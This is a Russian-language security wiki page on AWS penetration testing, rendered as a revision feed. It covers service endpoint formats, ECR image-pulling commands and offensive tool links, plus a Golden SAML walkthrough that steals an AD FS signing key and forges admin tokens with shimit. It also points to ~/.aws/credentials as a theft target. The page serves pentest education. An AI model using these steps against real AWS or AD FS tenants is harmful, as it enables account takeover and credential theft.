Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1223</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1223"/>
				<updated>2022-10-17T10:52:15Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Augmented AI (Amazon A2I) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
